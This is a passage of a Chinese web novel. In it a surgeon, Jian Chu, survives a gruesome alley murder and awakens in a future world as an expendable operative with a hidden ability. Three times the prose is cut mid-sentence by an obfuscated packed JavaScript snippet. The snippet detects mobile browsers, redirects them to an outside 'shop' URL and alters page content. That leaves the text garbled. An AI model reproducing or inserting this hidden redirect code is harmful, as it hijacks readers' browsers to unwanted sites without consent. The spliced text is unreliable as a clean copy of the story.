《世界崩坏全靠我物理缝补》 1. 灯下黑（1） “哗啦啦——” 暴雨的声音冲击着耳膜，夏日的阵雨来得突然，匆忙套上刚从便利店买的一次性雨衣，简初走在昏暗的巷子里，顺带买冰饮料揣在兜里，凉意隔着薄薄的布料渗进她身体。 作为蓝湾中心医院的神经外科医生，简初最近连轴转了好几天，今天的手术做完，主任大发慈悲批了她一天假期，让她好好回去休息。 今天终于能把自己那该死的闹钟关掉，睡个好觉了。 简初抬手看看表，马上就要凌晨两点了，她现在只想着赶紧回去好好洗个澡，然后睡个昏天黑地。 缓慢的脚步声融在暴雨里，眼看前面的路到了尽头，她依然埋头往前走。 这是她上了快半年的班才找到的小路，连地图上都没有显示，待会只要拐个弯，再穿过一条歪七扭八的小巷，就能看到她租住的公寓了。 不过听说这里已经被纳入新规划，即将拆迁，到时候估计就只能老老实实走大路了。 蓝湾的房价高得离谱，更别提这里是中心城区，哪怕几年工作下来她已经有不少存款，但想在医院附近买房还是难如登天，不过要是能再升一级，就可以申请搬进医院配套的单人公寓里了。 凭借一双稳得不似真人的手，简初在医院内的晋升简直如同坐了火箭一般，小小的办公室内，墙上一层一层叠的都是锦旗。 “呃……” 模糊的声音透过雨幕传来，像根羽毛轻飘飘在简初耳廓挠了一下，她下意识放慢了步伐，凝神细听。 “哗啦啦——” 只有大雨的声音，难道是自己累出幻觉了？ 简初皱着眉，感觉自己可能有些精神衰弱，看来得早点休息，恢复最近耗费的心神，否则要不了多久，自己就得躺在隔壁神经内科的病床上了。 “嘶！” 兜里的冰饮料长时间贴在一个位置，渗透进来的冷意咬了她一口，简初伸手将它换了个位置。 时间紧迫，每浪费一分钟自己就少六十秒睡眠，真的太可怕了。 她抬起脚，又加紧往前走了两步。 “呃，啊……” 简初再次停下了脚步，这回她听清了，不是幻觉。 声音一旦被捕捉到，就再也不会被雨声遮掩住了，反而愈加清晰。 女性痛苦的声音夹杂着男性零星的说话声，无比清晰地敲打在简初的耳膜上。 暴雨，深夜，无人的巷子，痛苦的喊声…… 前段时间看过的惊悚片不期然进入了简初的大脑，那部片子里的主角正是目击了杀人犯的作案现场，从而陷入被追杀的险境。 理智告诉她，前面确实发生了不同寻常的事，得报警。 她的挚友颜和就在蓝湾警卫总队任职，她常常跟简初强调，遇到了困难要找警察，哪怕最终他们出警了发现是一场乌龙，也好过你独自碰上凶残的犯人。 这类原本有机会被阻止的案件，是他们最不愿意见到的，因为在这样的惨剧里，受害人往往本质良善，担心给别人添麻烦，却最终遭遇不测。 简初掏出手机，开启静音，刚编辑了几个字，便听到里面传来其他声音。 “刘哥，求求你，放过……”女声继续传来，但另一人并没有任何反应，显得她仿佛在演一出独角戏。 认识的？ 简初拧了拧眉，可从这话的字面意思理解，两人之间的氛围并不好。 不再想太多，简初迅速发送报警信息，信号转了几圈，一直卡在发送页面，让她有些焦躁起来。 从刚刚到现在，女人的声音小了许多，不知道是否受伤，也不知道能撑多久。 简初虽然练过五六年自由搏击，还跟着颜和学了几招，但她现在并不了解情况，贸然出手说不定会把自己也搭进去。 手机页面上不停转动的“加载中”终于消失，信息发送成功，另一头很快回复了出警信息—— 将于五分钟内将到达现场，请务必确保自身安全。 “呼——” 简初下意识松了口气，看来刚刚没有信号只是因为暴雨，信号不良。 她伸手理了理雨衣，避免它摩擦间发出太大的声音。 路口的拐角处立着两个高高的垃圾桶，一蓝一绿，上面斑驳的脏印即使是暴雨也冲刷不掉。地上还堆着几个黑色的大塑料袋和被雨淋湿到快要烂掉的空纸箱，看上面的图案是便利店扔掉的杂物。 简初小心翼翼地往前挪了几步，蹲到垃圾桶后面，抻着脖子透过塑料袋和垃圾桶之间的缝隙向巷子里看去。 巷子里唯一的路灯在不停闪烁，仿佛下一秒就要短路熄灭，昏暗的黄色灯光下，简初看到两个几乎重合的身影。 女性面朝墙壁，两手束在身后被男人压制在墙上，牛仔短裤有些卷边，脚尖艰难地点在地上。简初看不见男人的另一只手，但是根据动作大概是捂住了女性的嘴。 胸口往上的位置被垃圾桶凸出的盖子挡住，完全看不见。 简初抿了抿唇，这男人身形高大，胳膊上有不少肌肉，看起来很结实。 女性身体挣扎的幅度越来越小，看起来即将陷入窒息，简初紧咬牙齿，摸索着从旁边的垃圾堆里摸索出一根木棍。 再不上就来不及了，简初向来自诩冷静理智，但也做不到眼睁睁看着一条生命消逝。 她只需要多争取一些时间就可以。 正当简初双腿发力，准备蹿出去的时候，鼻尖突然传来一阵奇异又有些熟悉的味道，不是被大雨冲刷的泥土气，也不是身旁垃圾的臭气。 第六感让她瞬间停止了动作，这味道她应该闻过的，就在不久前。 一瞬间，手术室内的场景迅速掠过，黑暗中仿佛有一道闪电击中了她。 这是，血腥味？ 简初下意识转了转头，想要寻找气味的来源，却无意瞥见丝丝缕缕的血迹混合在地上的雨水里，从巷子里往她的脚边淌过来。 她蹲在地上，怔怔地顺着血迹的源头看去，最终却抬起头，从垃圾桶缝隙中看到还被男人压在墙上的女性。 她的身上正源源不断涌出鲜血。 从简初看不到的胸口上方，如同没拧紧的水龙头一样，猩红满溢而出。 “砰！” 男人后退一步，女人的身体瞬间瘫倒在地，一个物体被他顺手一丢，带着风声从巷子里飞出来，砸在简初另一侧的墙壁上，喷溅出血液，然后咕噜噜滚到简初的脚边。 那是一张年轻姣好的脸，哪怕是死亡的灰白色也无法掩盖她被妆容点缀的美丽。 妆被雨淋得有些花了，瞪大的眼睛却像饭桌上被煮熟的死鱼一样毫无光彩，脖子上的切口参差不齐，仍然在涌出鲜血，直直淌到简初的鞋底。 简初脑中一片空白，急促地喘了一口气，下一秒仿佛想起来什么，立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11761107|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摒住了呼吸，缩回了垃圾桶后方。 “哒。” 打火机的声音透过雨幕清晰传来，凶手的一举一动此刻宛如具象化，清晰地传达到简初的大脑中，她感觉自己的精神从未如此集中过。 凶手似乎反应过来这大雨天没法抽烟，嘴上咒骂了几句，顺手将打火机也扔了过来，正正巧巧掉在女人的脑袋旁边。 简初紧紧缩在垃圾堆里，不敢发出一点声音。 以这么凶残的手段杀了人，第一时间不是想要逃跑，而是要在案发现场抽烟，这不是对自己有充足的信心，就是一切都在他计划之中。 而要是让他发现，这里有一个目睹了全程的人，哪怕自己完全没看到他的脸，也绝对会被无情灭口！ 简初按捺住砰砰跳的心脏，余光瞥了一眼打火机。 凶手应该不会再来把这玩意捡回去吧，他只要走出巷子口，绝对会发现自己！ 万幸的是自己已经报警了，一切还有希望。 时间的流逝变得格外缓慢，紧张之中，简初似乎听见了警笛声，又好像听见了钟表嘀嗒嘀嗒的声音，但下一秒这些声音都消失了。 只有胸口剧烈的跳动声是真实的，简初默默数着自己的心跳。 自己平静时心跳大概是70，但现在显然已经飙升到120，还有往上涨的趋势，再加上开始耳鸣，她只能勉强估计时间。 快了，最多还有一分钟，自己就能得救。 正当她这样想着，一阵悦耳的音乐声突然响起，透过雨幕宛如死神的催命符，简初下意识惊起一阵寒战，却听见巷子里的男人掏出手机，接通了电话。 啊对，她的手机已经静音了。 “喂？”男人的声音很不耐烦。 “我这边完事了。” “一个不听话的蠢货罢了，还以为自己是什么角色。” “……” 在暴雨的嘈杂下，简初只能听见几句话，其余都含含糊糊，不过就靠这几句话，她立刻意识到这场凶杀案是早有预谋的，甚至在其他地方也在发生同样的事情。 这是一个团伙作案。 简初脑中疯狂搜寻，试图想起新闻有没有报道什么恶性事件。 “唰——” 雨伞撑开的声音打断了她的思考。 大概是凶手准备离开了，简初脑海中天人交战，一边是叫喊着让她探头看一眼，要是能看到凶手的长相最好，再不济也能模拟一下步态帮助破案，另一边则是劝她好好躲着，这么凶残的杀手团伙，还是保命重要。 雨声突然变小，夏天的阵雨就是这样，雨势虽大，但来得快去得快，但简初确定自己还没听到凶手的脚步声。 他应该还没走，自己要不要赌一把？ 她紧咬牙关，一点一点试图将头探出去，就差一点，就能看到巷子里了！ 简初的眼睛睁得有些酸痛，雨衣帽子上的雨水顺着落进去也不敢眨眼。 还差一点！ 看到了！ 一双潮湿的雨裤映入眼帘，上面的雨珠还反射着细碎的路灯光，下一秒，一声极其细微的电流爆破声响起。 路灯骤然变暗。 “啪啪啪——” 简初后知后觉地听到雨水砸在头顶伞面上的声音。 “呵呵，好看吗？” 男人带着诡异兴奋的声音在她头顶响起，如同恶魔的催命符。 2. 灯下黑（2） 男人的脸很普通，但被只剩一丝的阴沉沉的灯光照着，看起来分外狰狞，雨水顺着他脸庞流下，还能看到一丝混杂在其中未被冲刷掉的血迹。 “呃！” 就在她刚刚抬头看见凶手的这瞬间，一只粗粝大手如闪电一般伸出，铺天盖地的窒息感袭来，简初视线一花，转眼就被对方掐着喉骨抵在墙上。 太快了！ 几乎能听见自己的颈骨在超出常人的异常巨力之下咯咯作响，眼前一阵阵发黑，简初两手用力掰着卡住脖子的手，试图争取到一些空气，但毫无作用，肺部开始产生强烈的灼痛感。 “滴——” 巷子的尽头，一辆汽车呼啸而去，长按的喇叭声逐渐失真，施舍进巷子的光亮让简初短暂却清楚地看到自己掌心下，凶手手背上的抓痕。 那看上去是年轻女性尖尖的美甲留下的，而此刻，男人的皮肤下却好像有什么在蠕动，细小的肉芽偶尔冒出，伤口就这样越来越小。 简初瞳孔紧缩，这是什么东西！ “嘿嘿，被你看见了。” 男人咧着嘴笑了一声，露出因为常年抽烟泛黄的牙齿，嘴里的臭味扑面而来，几乎将简初熏晕。 我了个去，这嘴也太臭了！ 强烈的气味给简初注入了莫大的力气，她收紧核心，抬起一条腿就往对方的下三路踢去，面对这样的攻击路数，凶手下意识躲避，手上的劲顿时松了下来。 就是现在！ 简初双臂使劲，从外向内猛地将往下压，借力逃脱禁锢，接着连忙往巷子外后退几步，跟对方拉开距离。 她不能往之前躲避的方向走，那里几乎没有人经过，而且还有很长的小路，一旦开启追逐战，危险不说，连警察都未必能及时找到她人。 “咳咳！” 简初用力眨眼逼出窒息带来的眼泪和雨水，红着眼非常警惕地盯着对面的人。 “小兔崽子，来阴的。” 雨衣帽子掉下来，凶手脸上顿时落满雨水，声音听起来显然带着不小的怒气。 他已经很久没有这么愤怒过。 自从自己拥有了特殊的能力，一切都顺风顺水，他本身就爱打架，这个能力简直是如虎添翼，更何况连天选会都向自己抛来橄榄枝。 光是打人已经满足不了他了。 他迫切地想要证明自己，这些普通人，不过是他的垫脚石。 “呵呵，你自己选个死法吧，是想先看着我把你的胳膊腿一条一条撕下来，再扭断你的脖子，还是跪下来舔我的鞋求饶，再被拧断脖子？” 男人表情异常兴奋，舌头舔过泛黄的牙齿，嘴不正常地咧着，看起来有些神经质。 简初咬牙按捺住微微发颤的手臂，心下大呼不妙。 从刚才短暂的接触来看，对方手臂力量远比看上去要强，再加上她刚刚看到的离奇一幕，也许他真是个怪物也说不定。 脑中刚升起逃跑的想法就被她瞬间掐灭，对方的体格明显强于她，体力绝对要比她好太多，跑起来速度也未必会比她慢。 想想办法。 简初强迫自己冷静下来，瞬间想起刚刚自己攻击时，对方下意识躲避的动作。 她眯了眯眼，心底有了计较。 身体是怪物，脑子却未必。 对方的潜意识明显跟不上他的身体素质，日常生活的行为逻辑已经深深烙在了他的大脑里，所以面对简初的攻击，他的第一反应就是躲开。 她还是有机会的。 “呼——” 僵持的安静中，男人的脚步和远处驶来汽车的警笛声尤为清晰，简初眼睛一亮。 机会来了！ 她毫不留恋，将怀里的冷饮料甩向对方的面门，转头就朝凶案现场那头的巷子口跑去。 果不其然，对方下意识后退了一步，侧身躲开，而就这两秒简初已经和他拉开距离。 “艹！竟然报警了！” 重重的脚步声响起，在下雨的地面溅起泥水，紧紧追在她身后。 简初一个小跳，跃过巷子中央散乱的垃圾，脚步不停向透着光亮的巷子口冲去。 刺眼的车灯和响亮的警笛此刻是近在咫尺希望，但身后的脚步却更快一步。 “想跑？！” 凶手伸手一捞，带着劲烈的风声袭向简初后脑，连带着一次性雨衣紧紧攥住了她的卫衣领口，向后扯去。 简初脚下的速度一时难以收住，领口紧锁住她的咽喉，带来巨大的窒息和呕吐感。 砰！ 简初眼前一花，感觉自己做梦一样飞了起来，下一秒，在迟缓的疼通知下，她再次回到了自己最初躲藏的地方。 简初顺着墙壁滑落在地，巨大的冲击让她的肺部一时罢工，同时有温热的液体顺着她的后脖子往下流。 这力气，也……太夸张了。 她努力睁开眼，眩晕的画面中，凶手的身影飞快向她靠近，一只冰冷的手再次掐上了她的脖子。 “还挺能跑。” 男人嘿嘿一笑，陡然收紧了五指，简初脸涨得通红，眼前除了对方的脸，还有他手上匕首闪出的催命的光。 简初曾经想过自己的死，也许是有一天过劳猝死在手术台，也可能是我突患恶疾死在病房里，还有可能是长命百岁寿终正寝，但从未想象过有一天她会跟一个杀人凶手正面交锋。 不管怎么样，再给她一个挣扎的机会，死在警察到来之前真的太戏剧化了吧！ “噔噔噔噔！” 突然传来一阵奇异的音乐，很像是在网络诈骗抽中“特等奖”的BGM，但面前的男人依旧狰狞着表情，似乎没有听到这个声音，他另一只手攥着一把沾着血的匕首，高高竖起在她头顶，反射出一点寒星。 “恭喜激活锚点（1/2），天赋技能[神之手]解锁成功。” 诡谲的音乐声结束，还没等简初对这道声音有所反应，刀光已然闪过。 “唰——” 雪亮的匕首从简初手掌间划过，汹涌的鲜血溢出，她一手紧攥刀刃，另一手握紧成拳，直直冲向凶手的面门。 …… “砰。” 简初一拳狠狠砸在旁边的门框上，强烈的眩晕让她跌坐在地，急促地喘息着，好像破旧的通风管，发出呼啦呼啦的声音。 她后知后觉感受到疼痛，手背上已经鲜血淋漓，指关节泛出青白之色。 最后一幕带给她的冲击实在是太大了，她此刻竟然已经想不起来具体的画面。 不过现在，她的手心好像不痛了？ 简初伸手互相搓了搓，一切完好。 不对，她确定自己切切实实攥住了对方的刀刃，现在这是怎么回事？ 她抬头环顾四周，却发现这里已经不是那条巷子，反倒看起来像是一条走廊。 两边一排排房门，上面还有编号，看起来像一家破旧的旅店，地板斑驳，靠着墙角的地方还有厚厚的陈年污垢，看着已经很多年没有打扫过了。 这是哪儿？ “怎么不说话了，刚刚是什么声音？发生什么了？”耳边骤然传出一连串的问题，简初缩了缩脖子，在耳朵上摸到一个小小的圆形装饰物，声音正是从里面传来的。 “我……”简初开口，声音沙哑得可怕，“没什么。” 对面沉默了两秒，却没有继续问下去：“上次是意外情况，这次任务做好绝对会让你转正的。” 简初：“……” 一开口这熟悉的资本家口吻，自己不会是被骗了吧。 “毕竟你没有天赋能力，能给你争取到这个机会已经很难了。” “这是组织对你的信任。” “你要珍惜这个机会，好好做。” 对面听起来很紧张，似乎担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11761108|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心她会撂挑子不干，直接一个三连输出，简初迅速抓取其中的关键词，脑海中的迷雾却越来越厚。 天赋能力、组织，都是哪儿跟哪儿。 她不期然想到自己之前听到的那道奇异的声音，下意识低头看了眼自己的手。 呃，倒也没看出花儿来。 不清楚情况，简初选择顺着对方的话往下聊。 “你可不能骗我。”她一开口就带着清澈的愚蠢，让对面松了口气。 “不会不会，组织很讲信用，你知道的。” 我知道个屁。 简初如此腹诽，嘴上还是假装接受了对方的说辞。 看来在对方眼里，自己确实是一个脑子不太灵光的傻白甜。 “没有别的意思，我就是有点紧张。” 简初想了想，又补充了一句，丰满了一下自己的形象。 此话一出，对面更是放下心来：“别怕！很简单的！你只要等我通知，时机一到，把东西贴到他身上就行，其他事情都不用你管。” 脑袋空空的简初又接收到了一点有用的信息。 “苍耳，怎么还在这，快进房间！” 耳机里突然传来另一个人的声音，简初姑且称他为二号。 自己的代号叫苍耳？ 这种级别的代号，一听就是炮灰的程度了。 “知道了，我这就进去。” 自此，耳机里暂时恢复了安静，大概就是所谓的“等通知”阶段。 简初趁此机会迅速看了眼周围，果然在自己脚边发现了一张房卡，上面贴着歪歪扭扭的“204”，跟自己面前的房间一样。 她把房卡揣进兜里，并没有急着开门进房间，而是先确认一下环境。 走廊里此刻空无一人，连旁边屋子里都听不见一点声音，诡异得很，不过尽头的窗户外能听见有人声和车流声，消减了一点她心中的不安。 “吱呀——” 正当她打量四周的时候，楼梯口突然传来令人牙酸的地板挤压声。 有人上来了。 “还愣着干什么，快进去！”耳中陡然传来焦急的喊声，是一号。 瞬息之间，简初作出决断，她迅速刷开房门，擦着门缝就钻进了房间里。门轻轻阖上，关门声跟外头那人踏上最后一级台阶的脚步声重叠在一起。 “……吓死人，我就说不能……”耳机那头，一号囫囵说了什么，听语气好像是在和旁边的人抱怨着。 简初垂了垂眼，他身边还有其他人？他是和二号呆在一起吗？ 但现在显然有更重要的问题——从刚刚开始，外头的声响就消失了。 以走廊老旧的木质结构，不可能存在走在上面悄无声息的情况，也就是说，刚刚那人正停在楼梯口，不知道要做什么。 “噔噔噔~” 一阵熟悉欢快的音乐声在脑中响起，在这寂静的气氛里惊起简初一身鸡皮疙瘩。 “恭喜你拥有了世人艳羡的第二条生命，但活着对你来说将变得更加艰难，这是一次小小的考验，只有胜利者才有资格拥有全新的开始，祝你成功。” “触发任务：在***的任务行动中存活。” “重要说明：本次任务为先行任务，不可放弃，任务失败将就地抹除。” 简初：“6。” 这个码打的，你们这个组织很高贵吗，连名字都保密。 “应该没被发现，你先别动，……信号截到了吗！”耳机里传来一号的声音，最后一句话喊了谁的名字，她没听清，但可以确定并不是她。 三言两语的对话并不能让简初明晰双方的立场，她也不清楚自己在其中扮演了什么样的角色，只能以不变应万变。 终于，外头的脚步声再次响起，这次是朝她的方向来了。 “嘎哒嘎哒！” 门把手被人重重按下。 3. 灯下黑（3） “嘎哒嘎哒。” 门把手被压下的声音透过门板，听起来有些沉闷，简初控制不住冒出鸡皮疙瘩。 万幸的是，这是来自对面房门的声音。 门把手被人不耐烦地掰动好几次，终于有了停止的迹象，脚步声再次响起，回到楼梯口后逐渐消失。 “他又走了。”简初放松身体，才感受到刚刚一直紧贴在墙壁上带来的肌肉酸胀。 “下次注意点，运气不会一直这么好。”是二号的声音，比起一号他的性格要冷酷许多，听起来不太好相与。 “嗯嗯我知道了。” 简初随口答应，手上已经把房间里唯一的背包翻了个底朝天，二号听她语气感觉有些不对劲，只当是她被吓到了。 里面都是很普通的旅行用品，简初想了想，又把自己身上的口袋摸了个遍，终于在上衣口袋里找到一个圆圆的半透明小贴片。 它中间有一坨橡胶状的方形颗粒，应该就是任务物品。 物品搜索告一段落，她又打量起自己手腕上的，很像智能手表的玩意，它外形看起来很聪明，大概是智能终端之类的东西。 终端识别到她的面容，顺利打开了，简初挑挑眉，毫不犹豫地浏览器里面的内容。 很可惜，她暂时并没有找到跟这个组织相关的内容。 “你再准备一下，我们已经找到目标的入住信息了，果然就是你对面房间，他应该很快就会回来。”一号话有些多，语气中的焦躁几乎藏不住。 简初皱皱眉，对方发现线索的时机有一丝违和，她敷衍点点头，应和着对方：“嗯嗯好好好。” 系统的任务非常直白地告诉她，这场行动中有极大的危险，她现在掌握的情况有限，绝不能忽视任何一处违和感，也不能盲目听从对方的安排。 虽然耳机那头只有两个人和她交流，但一号之前那句“信号截到了吗？”显然是对除她和二号之外的人说的，由此可见，耳机那头还有其他人，从这个角度来看，组织应该是比较重视这次行动的。 而且一号、二号在组织内的地位明显高于自己，而她甚至还没“转正”，大概率是最底层人员，行动现场只有她一个人，这不符合常理。 许多的违和之处，再结合系统近乎露骨的提示，那只有一种情况——她是个炮灰。 简初现在有两个选择，一是放弃任务，直接从现场逃离。但这么做风险很大，首先她不知道这个组织的势力范围，其次她不确定系统那边会怎么判定。 一个不小心可是会被抹杀的，她现在只能走一步看一步了。 简初一边盘算，一边继续翻阅终端里的信息。她本身快速获取信息的能力就很强，再加上十多年啃医学大板砖的锻炼，很快就对现在的情况有了初步了解。 简单概括一下，她来到了一个未来世界。 这里的一切很符合她曾经看过的科幻作品的设定，虽然有关“天赋能力”的细节语焉不详。 此外就是她的个人信息——在少年救助中心长大，今年刚满二十岁，目前是联邦军校的在读生，尽管她看不明白“精神疏导与控制专业”具体的意思。 作为军校生加入这样的组织，嘶，简初摸摸下巴，脑回路疯狂扩散。 “苍耳！你有没有听我说话！”一号拉高了音量，耳机炸了一下。 简初缩缩脖子，掏了下耳朵撇嘴开口：“嗯嗯嗯听着呢。” 嗯嗯嗯忙着呢。 “我刚刚说什么了？！” 简初：“……” 夭寿了，怎么在这也要体验被教授点名的刺激。 “啊？喂？怎么没声了？”简初扯着嗓子朝对面喊了两声。 一号瞪着眼睛，剧烈地喘了两口气，没想到她会这么不要脸。 “他快回来了，待会你出门装作偶遇，把东西贴上。”二号开口了，“你别告诉我你不知道怎么做。” 好嘛，还是会阴阳怪气的。 “哦。” 这次耳机那头没有回答了，寂静得跟死光了一样。 简初低下头，把那张贴片藏在指缝里。常年拿手术刀的细长手指灵活得很，贴片藏在其中几乎不影响她活动。她握上门把手，深吸了两口气，打开门走了出去。 走廊里空无一人，但已经能听见来自楼梯口的脚步声，简初反手将门掩上，也朝那里走去。 “……没有。”模糊的说话声戛然而止。 简初暗叹一声出师不利，一开门就被对方发现了，不过她脚下不停，依旧往楼梯口走去。 对方也同样如此。 走廊不长，简初三步并作两步抢先抵达楼梯口，她一扭头，居高临下地看向楼梯内正在往上走的年轻人。 俯视的角度看不清面容，不过对方皮肤白皙，脸型流畅，凌乱的碎发盖在高挺的鼻梁上方，挺括的短风衣罩在他身上，普通的装扮配上挺拔的身形看起来分外养眼。 他匆忙抬头看了简初一眼，又迅速垂下密密的睫羽。 楼梯有些狭窄，对方礼貌侧身，示意她先下去，简初的眼神默默从对方的腰，挪到旁边空出的大半空间，朝对方点了点头往下走去。 刚刚还想着对方的风衣下摆正适合自己下手，经过的时候不小心碰到，再不小心粘点东西上去，很合理吧！ 但现在离这么远，手伸过去不是很可疑吗！ “我们是不是在哪见过。”简初找了个借口，在高一个台阶的位置停住，平视对方的眼睛，却意料之外看到年轻人瞳孔缩了缩。 哦吼，有鬼，那就是你没错了！ “抱歉，可能是我有些大众脸。”声音冷淡淡，跟对方的漂亮脸蛋很是相配，就是这回答硬控简初三秒。 她垂下眼，看着自己的指尖离对方至少还有十公分的距离。 啧，要是她胳膊再长些就好了。 似乎是回应她的想法，下一秒，一根小小的半透明触手从简初的腕骨内侧伸出，卷起指缝间的小贴片就往对方身上溜去。 同一时间，楼梯最下方传来脚步声，一个带着帽子的高个男人出现，楼梯上两人的目光不约而同瞄了过去。 还有一个人？ 不是，先等等！ 简初下意识伸手捞过去，试图阻止那根奇异的小触手把唯一的任务用品使用掉。 “傅燃？怎么了？” 年轻人的耳机里传来队友的询问，他没有回答，眼神瞥着从楼梯口上来的男人。 这个地方不合适，他要尽快先进到房间里。 嗯？ 他向上迈出一步，却感受到衣角的拉力，傅燃低下头，看见一只骨节分明堪称完美的手，紧紧攥住自己的衣角。 简初：“……” 傅燃：“……” “抱歉。”简初干巴巴说着，收回手，将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11761109|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那块小贴片藏回手指间，年轻人低头看了眼被揉皱的衣角，没说什么，迅速上楼，几秒间就传来房门关上的声音。 这个距离，并不是204对面的房间。 就这么一会，楼下的男人已经走上楼梯中段，他黑色衣服裹得严实，但感觉里面空空荡荡的，瘦得可怜，两只手揣在口袋里，除了脸，没有额外的皮肤露在外面。 现在看来，这个更可疑。 简初侧过身，给对方让出道路。 “苍耳，你怎么还不行动！”耳机里又响起一号的催促声。 下方的人终于朝她看过来，眼白里布满红血丝，颇为瘆人：“你先走吧。” 低哑的嗓音响起，仿佛含着一把粗粝的沙子，听着都感觉嗓子疼。 简初牙酸地嗦了一口空气，看着他慢慢转身，贴在楼梯的墙壁，好像是真心实意地给她让路。 “谢谢。” 错身的一瞬间，小触手灵活地弹出来，贴片牢牢粘在男人的裤腿上，它还不放心地捏着裤腿两侧按了又按，确保不会掉下来。 简初：“……”真细致啊。 她走下楼梯，目送那人消失在楼上的拐角处，耳机里终于又传来声音，这次是二号。 “没问题了，回头我会向上级提交你的转正申请的。” 之后是长久的安静，夹杂着一点电流声。 通讯断了，但系统并没有任务完成的提示。 前台后坐着的店员似乎注意到她，抬起头朝她看过来。 “嗡！” 简初的心脏突然剧烈地收缩了一下，脑海中猛然传来失重感，恍惚了几秒，她下意识转头看向周围，身边的楼道已经完全变了模样—— 原本老旧但还算整洁的装饰已经变得破破烂烂，墙上的壁纸剥落露出斑驳的底色，地板也变得七零八碎。 大门外原本的景色消失不见，只透进诡异的红光，把旅店一楼内映出一片血腥之色。 刚刚还能听到外面的嘈杂声这会也没有了，安静得可怕。 整家旅店似乎就剩下她一个人，不，还有前台的那个店员。 “你来了啊。”中年男人露出有些夸张的微笑，“我的敲门砖。” …… “组长，领域场已经展开完毕，申请限时是20分钟。” “嗯，锁定那只异种吧，速战速决。” 为首的女子调整了一下耳机。 她眼神锋利，高高的马尾束在脑后，修长的双腿蹬在一双军靴里，左右腰间分别有一把激光枪和一柄粒子切割刀。 “大家按计划各自行动，等傅燃那边通知，随时支援。” 旅馆房间里，傅燃脱下风衣外套随手扔在一边，裹在作战服里的身体暗藏着肉眼可见的爆发力，他走出房门，一边等待领域场内的扫描成像结果，一边踹开隔壁的房门。 空的，不是这间。 领域场是联邦研究所不久前的新成果，它通过模拟空间系异能，抓取就近的空间裂隙，构建现实的同步空间，除了选定目标，其他人员都会被自动排除在外。 目前还处于测试阶段，程序复杂能耗极高，只有在执行特定的秘密任务时才会使用。 但现在，姗姗来迟的成像结果告诉他，领域场内除了他没有别人。 “不好！”耳机内传来后方的消息，“监测到空间系能力的属性波动，我们被截胡了！” 4. 灯下黑（4） 前台的桌面上有一个造型奇异的摆件，很像上辈子在网络上流行过的自制全息投影模型，倒金字塔型的空间中央，有一颗正方体正缓缓旋转。 它散发着细碎的光芒，十分显眼。 没等她再仔细观察，原本端坐在前台后的中年人突然消失。 简初寒毛乍起，本能地感觉到危险，一道残影闪过，中年男人的脸陡然出现在简初面前，他一拳挥出带着锋利的拳风，直冲简初面门。 简初念头闪过，小触手迅速缠上左臂，她右腿后撤稳住身形，左手格挡住了中年人的全力一击，随即弓下身子，侧身绕到男人右侧，一拳挥向对方的下颚。 对方的力道远不如之前的凶手，但与力量相比，他的技巧更加不足，简初一击不成，反身一脚踢在中年人心口，随即顺着力道后退两步，跟对方拉开了距离。 中年男人此时并不好受，他捂住心口剧烈地咳嗽了几声，才抬起头恶狠狠地盯住简初。 “真是个普通人？”中年男人站在原地打量了她几眼，嗤笑出声，“啧，有点东西。” 纤细的触手绕过简初的脖颈，安抚地在她后背上拍了拍，转而朝着中年男人高高竖起，似乎随时准备行动，但中年男人看不见这些，他冷笑一声，往后退了一步，偏头看向楼梯上方—— 他在等什么？ 整个一层除了他们俩之外一个人都没有，旅馆外诡异的红光安静地照进来，显得十分诡异。 下一秒，楼梯上方响起了熟悉的地板挤压声，但这次的音量大了许多，好像上面的人体重相当离谱。 声音越来越近，中年男人趾高气昂地朝简初露出一个笑容，便转头向屋子那头走去，只是步伐匆匆，并没有他表情看上去那么轻松，不过一个呼吸，简初就知道了缘由—— 沉重的脚步越来越近，几乎要落在简初头顶，暗红的天光透过楼梯中段狭窄的呼吸窗照进来，投下一个离奇的阴影。 它身形巨大，布满密密麻麻的尖刺，仿佛一个人形的仙人掌。 简初：？ 她看向努力加快脚步但又不敢发出声响的中年男人，无声地咧了咧嘴。 面对危险，只要比其他人跑得快就行了。 男人的手已经快要摸上尽头的暗门，他心底已经提前庆祝任务完成，甚至开始畅想自己升职加薪，走上人生巅峰。 下一秒，他的脚踝上传来巨大的拉力，丝毫不给他反应的机会，中年男人一个趔趄瞬间伏倒在地，被一只无形的手往回拖行。 “啊！”突然而来的袭击让他没忍住惊呼一声，又迅速闭上了嘴，他并没有意识到是简初动的手，只是惊惶失措地弓起身子，试图挣开脚上看不见的枷锁。 尽管他努力克制了自己的惊呼，但被拖行的声音还是显得尤为清晰，楼梯上的生物明显注意到了他，地板再次响起吱呀声。 